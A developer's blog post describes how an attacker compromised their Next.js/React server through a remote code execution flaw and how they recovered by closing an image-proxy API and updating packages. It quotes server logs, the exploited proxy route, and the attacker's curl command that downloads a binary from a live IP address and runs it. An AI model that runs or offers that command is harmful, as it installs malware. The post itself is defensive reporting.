My Experience with a Hacked Next.js, React Server

힘센캥거루
2025년 12월 6일(수정됨)
4
nextjs

The first time I encountered this security issue was early in the morning on December 5.

It was about how remote code execution was possible in React without authentication.

I saw that news and told others about it, but I just thought I’d be fine and didn’t think much of it.

My Experience with a Hacked Next.js, React Server-1

1. Discovering Traces of the Hack

But when I tried to log in to update the blog code, I found traces of some command having been executed in the terminal.

/bin/sh: powershell: command not found
 ⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found
] {
  status: 127,
  signal: null,
  output: [Array],
  pid: 66631,
  stdout: <Buffer >,
  stderr: <Buffer 2f 62 69 6e 2f 73 68 3a 20 70 6f 77 65 72 73 68 65 6c 6c 3a 20 63 6f 6d 6d 61 6e 64 20 6e 6f 74 20 66 6f 75 6e 64 0a>,
  digest: '3337667987'
}
/bin/sh: powershell: command not found
 ⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found

When I debugged that code, I found that it was trying to download a malicious file using a curl command and then execute it.

I found the vulnerability in the API and shut down all of the related APIs.

curl -s http://154.17.26.41:15932/gund -o /tmp/gund && chmod +x /tmp/gund && /tmp/gund

The vulnerability was in an internal proxy server, and the attack worked by inserting an image and a script at the same time to execute a command.

I closed that proxy API and learned the hard way that you should never carelessly expose APIs to the outside.

// app/api/link-preview/image-proxy/route.ts
...
export async function GET(req: Request) {
  try {
    const { searchParams } = new URL(req.url)
    const target = searchParams.get('url')
    if (!target) return NextResponse.json({ error: 'url required' }, { status: 400 })

    const u = new URL(target)
    if (!ALLOWED_PROTOCOLS.has(u.protocol)) {
      return NextResponse.json({ error: 'invalid protocol' }, { status: 400 })

    const res = await fetch(u, {
      headers: { 'User-Agent': UA },
      redirect: 'follow',
      cache: 'no-store',
    })
    if (!res.ok || !res.body) {
      return NextResponse.json({ error: `Upstream ${res.status}` }, { status: 502 })
    }
...

2. React2Shell Attack

After that, no matter how much I tried to patch the vulnerabilities, hacking attempts kept coming in.

At one point, this kind of log appeared in the terminal:

[MemShell] Loaded successfully (ESM compatible + stealth UA)

I’d never seen this log before, so I asked an AI, and it said that this was a memory shell frequently used by attackers.

I tried restarting Node.js, deleting and reinstalling all npm packages, and even rebooting the server.

But the attacks kept coming in, and as I was wondering what to do, it suddenly occurred to me that I hadn’t updated Next and React.

I checked for vulnerabilities with npm and applied the fixes.

npm audit
npm audit fix

After that, even when running the server, I no longer saw strange logs in the terminal.

3. What I Felt

I really don’t know what there is to see on this blog that I run alone, which doesn’t even get 50 visitors a day, for them to keep coming back.

Of course, it’s obviously scan bots detecting vulnerabilities and repeatedly attacking, but it’s still quite irritating.

And I realized how important it is to respond to vulnerabilities immediately as they arise.

Upgrading Next from 15 to 16 required some fixes here and there, which was inconvenient, but security was far more important than that.

From now on, I guess I’ll be dropping by GeekNews more often.

댓글을 불러오는 중...

My Experience with a Hacked Next.js, React Server